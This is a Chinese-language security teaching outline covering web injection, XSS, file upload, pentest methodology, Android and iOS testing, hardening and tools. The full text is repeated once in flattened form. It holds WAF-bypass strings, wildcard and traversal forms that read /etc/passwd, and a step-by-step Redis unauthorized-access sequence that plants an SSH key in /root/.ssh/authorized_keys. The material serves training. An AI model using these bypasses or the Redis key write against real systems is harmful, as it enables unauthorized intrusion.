专注Web及移动安全[红日安全58期]
字数 2050 2025-08-18 11:37:41

Web及移动安全综合教学文档

一、Web安全核心知识

1.1 SQL注入攻击与防御

  • 手工SQL注入:通过构造恶意SQL语句绕过认证或获取数据库信息
  • WAF绕过技术
    • 使用注释分割关键字:SEL/*xxx*/ECT
    • 大小写混合:SeLeCt
    • 等价函数替换:concat()替代+
    • 编码转换:十六进制/URL编码
  • ThinkPHP 5.1.x SQL注入漏洞:由于表达式解析缺陷导致

1.2 命令执行漏洞

  • 常见触发点
    • 系统命令调用函数:system(), exec(), passthru()
    • 反序列化漏洞
    • 模板注入
  • WAF绕过技巧
    • 命令拼接:a=l;b=s;$a$b
    • 环境变量:${PATH:0:1}/
    • 通配符:/???/??t /???/p?ss??

1.3 XSS漏洞实战

  • 存储型XSS案例:雅虎邮箱APP漏洞
    • 攻击向量:通过用户输入内容未过滤导致持久化XSS
    • 影响范围:所有查看恶意内容的用户
  • 防御方案
    • 输入输出编码
    • CSP策略
    • HttpOnly Cookie

1.4 文件包含与上传漏洞

  • 靶场实战要点
    • 文件上传绕过:修改Content-Type、文件头、.htaccess
    • 目录遍历:../../etc/passwd
    • 日志污染:通过User-Agent注入PHP代码

二、渗透测试方法论

2.1 渗透测试流程

  1. 信息收集
    • 子域名枚举
    • 端口扫描(MASSCAN工具)
    • 指纹识别
  2. 漏洞扫描
    • 自动化工具:Nessus, OpenVAS
    • 手工验证
  3. 漏洞利用
    • 选择合适的Exploit
    • 权限提升
  4. 后渗透
    • 横向移动
    • 数据窃取
    • 痕迹清除

2.2 内网渗透技术

  • SOCKS代理应用
    • 使用reGeorg搭建隧道
    • Proxychains配置
  • PowerShell Empire 2.3
    • 模块化后渗透框架
    • 特点:
      • 无需powershell.exe
      • 内存中执行
      • 多协议支持

2.3 CTF实战技巧

  • Web题目解法
    • 源码审计
    • 参数篡改
    • 逻辑漏洞利用
  • PWN题目部署
    • 使用socat监听
    • 限制资源
    • 自动化flag提交

三、移动安全专项

3.1 Android应用测试

  1. 静态分析
    • APK反编译(apktool/jadx)
    • 敏感信息搜索:API密钥、硬编码凭证
  2. 动态分析
    • Frida/Xposed hooking
    • 网络流量分析(BurpSuite)
  3. 常见漏洞
    • 不安全的存储
    • 组件暴露
    • 证书验证缺失

3.2 iOS应用安全

  • 越狱检测绕过
  • Keychain分析
  • 方法swizzling

四、防御体系建设

4.1 PHP安全规范

  • 禁用危险函数:exec, system
  • 开启安全模式
  • 严格类型比较
  • PDO预处理语句

4.2 Tomcat安全部署

  • 删除默认应用
  • 配置manager访问控制
  • 更新到最新版本
  • 禁用PUT方法

4.3 应急响应流程

  1. 准备阶段
    • 制定预案
    • 组建团队
  2. 检测阶段
    • 日志分析
    • 时间线构建
  3. 遏制阶段
    • 隔离系统
    • 密码重置
  4. 恢复阶段
    • 系统加固
    • 监控加强

五、工具集锦

5.1 渗透测试工具

  • 端口扫描:MASSCAN(高速扫描)
  • 内网渗透:CrackMapExec(AD环境)
  • Payload生成:MSFVenom
  • Web扫描:BurpSuite, OWASP ZAP

5.2 二进制工具

  • 编辑分析
    • WinHex:二进制编辑
    • PEditor:PE文件分析
  • 调试工具
    • x64dbg
    • IDA Pro

5.3 CTF工具包

  • 密码破解:Hashcat, John
  • 隐写分析:Stegsolve, binwalk
  • 网络分析:Wireshark, tcpdump

六、漏洞复现实战

6.1 Redis未授权访问

  • 漏洞原理:默认无认证,可写定时任务
  • 利用步骤
    1. 连接redis:redis-cli -h target
    2. 写入SSH key:
      config set dir /root/.ssh/
      config set dbfilename authorized_keys
      set x "\n\nssh-rsa AAAAB3N...\n\n"
      save
      
    3. SSH免密登录

6.2 FTP入侵(vsftpd)

  • 常见漏洞
    • 匿名登录
    • 版本漏洞(CVE-2011-2523)
  • 防御措施
    • 禁止匿名
    • 使用SFTP替代
    • 限制用户目录

七、Linux系统安全

7.1 SSH防护

  • 防暴力破解
    • 修改默认端口
    • Fail2ban配置
    • 密钥认证
  • 入侵检测
    • 检查/var/log/auth.log
    • 查看异常用户

7.2 内核安全机制

  • KASLR详解
    • 内核地址空间布局随机化
    • 绕过技术:
      • 信息泄露
      • 侧信道攻击
    • 防御增强:
      • FGKASLR
      • 静态分析防护

八、安全开发实践

8.1 安全编码规范

  • 输入验证
  • 输出编码
  • 最小权限原则
  • 安全依赖管理

8.2 漏洞管理流程

  1. 漏洞扫描
  2. 风险评估
  3. 修复优先级
  4. 补丁验证
  5. 持续监控

本教学文档涵盖了Web及移动安全的核心知识点,从攻击技术到防御方案,从工具使用到实战案例,构建了完整的安全知识体系。建议读者结合靶场环境(如Webbug、DVWA)进行实践练习,以深化理解。

Web及移动安全综合教学文档 一、Web安全核心知识 1.1 SQL注入攻击与防御 手工SQL注入 :通过构造恶意SQL语句绕过认证或获取数据库信息 WAF绕过技术 : 使用注释分割关键字: SEL/*xxx*/ECT 大小写混合: SeLeCt 等价函数替换: concat() 替代 + 编码转换:十六进制/URL编码 ThinkPHP 5.1.x SQL注入漏洞 :由于表达式解析缺陷导致 1.2 命令执行漏洞 常见触发点 : 系统命令调用函数: system() , exec() , passthru() 反序列化漏洞 模板注入 WAF绕过技巧 : 命令拼接: a=l;b=s;$a$b 环境变量: ${PATH:0:1} → / 通配符: /???/??t /???/p?ss?? 1.3 XSS漏洞实战 存储型XSS案例 :雅虎邮箱APP漏洞 攻击向量:通过用户输入内容未过滤导致持久化XSS 影响范围:所有查看恶意内容的用户 防御方案 : 输入输出编码 CSP策略 HttpOnly Cookie 1.4 文件包含与上传漏洞 靶场实战要点 : 文件上传绕过:修改Content-Type、文件头、.htaccess 目录遍历: ../../etc/passwd 日志污染:通过User-Agent注入PHP代码 二、渗透测试方法论 2.1 渗透测试流程 信息收集 : 子域名枚举 端口扫描(MASSCAN工具) 指纹识别 漏洞扫描 : 自动化工具:Nessus, OpenVAS 手工验证 漏洞利用 : 选择合适的Exploit 权限提升 后渗透 : 横向移动 数据窃取 痕迹清除 2.2 内网渗透技术 SOCKS代理应用 : 使用reGeorg搭建隧道 Proxychains配置 PowerShell Empire 2.3 : 模块化后渗透框架 特点: 无需powershell.exe 内存中执行 多协议支持 2.3 CTF实战技巧 Web题目解法 : 源码审计 参数篡改 逻辑漏洞利用 PWN题目部署 : 使用socat监听 限制资源 自动化flag提交 三、移动安全专项 3.1 Android应用测试 静态分析 : APK反编译(apktool/jadx) 敏感信息搜索:API密钥、硬编码凭证 动态分析 : Frida/Xposed hooking 网络流量分析(BurpSuite) 常见漏洞 : 不安全的存储 组件暴露 证书验证缺失 3.2 iOS应用安全 越狱检测绕过 Keychain分析 方法swizzling 四、防御体系建设 4.1 PHP安全规范 禁用危险函数: exec , system 开启安全模式 严格类型比较 PDO预处理语句 4.2 Tomcat安全部署 删除默认应用 配置manager访问控制 更新到最新版本 禁用PUT方法 4.3 应急响应流程 准备阶段 : 制定预案 组建团队 检测阶段 : 日志分析 时间线构建 遏制阶段 : 隔离系统 密码重置 恢复阶段 : 系统加固 监控加强 五、工具集锦 5.1 渗透测试工具 端口扫描 :MASSCAN(高速扫描) 内网渗透 :CrackMapExec(AD环境) Payload生成 :MSFVenom Web扫描 :BurpSuite, OWASP ZAP 5.2 二进制工具 编辑分析 : WinHex:二进制编辑 PEditor:PE文件分析 调试工具 : x64dbg IDA Pro 5.3 CTF工具包 密码破解 :Hashcat, John 隐写分析 :Stegsolve, binwalk 网络分析 :Wireshark, tcpdump 六、漏洞复现实战 6.1 Redis未授权访问 漏洞原理 :默认无认证,可写定时任务 利用步骤 : 连接redis: redis-cli -h target 写入SSH key: SSH免密登录 6.2 FTP入侵(vsftpd) 常见漏洞 : 匿名登录 版本漏洞(CVE-2011-2523) 防御措施 : 禁止匿名 使用SFTP替代 限制用户目录 七、Linux系统安全 7.1 SSH防护 防暴力破解 : 修改默认端口 Fail2ban配置 密钥认证 入侵检测 : 检查 /var/log/auth.log 查看异常用户 7.2 内核安全机制 KASLR详解 : 内核地址空间布局随机化 绕过技术: 信息泄露 侧信道攻击 防御增强: FGKASLR 静态分析防护 八、安全开发实践 8.1 安全编码规范 输入验证 输出编码 最小权限原则 安全依赖管理 8.2 漏洞管理流程 漏洞扫描 风险评估 修复优先级 补丁验证 持续监控 本教学文档涵盖了Web及移动安全的核心知识点,从攻击技术到防御方案,从工具使用到实战案例,构建了完整的安全知识体系。建议读者结合靶场环境(如Webbug、DVWA)进行实践练习,以深化理解。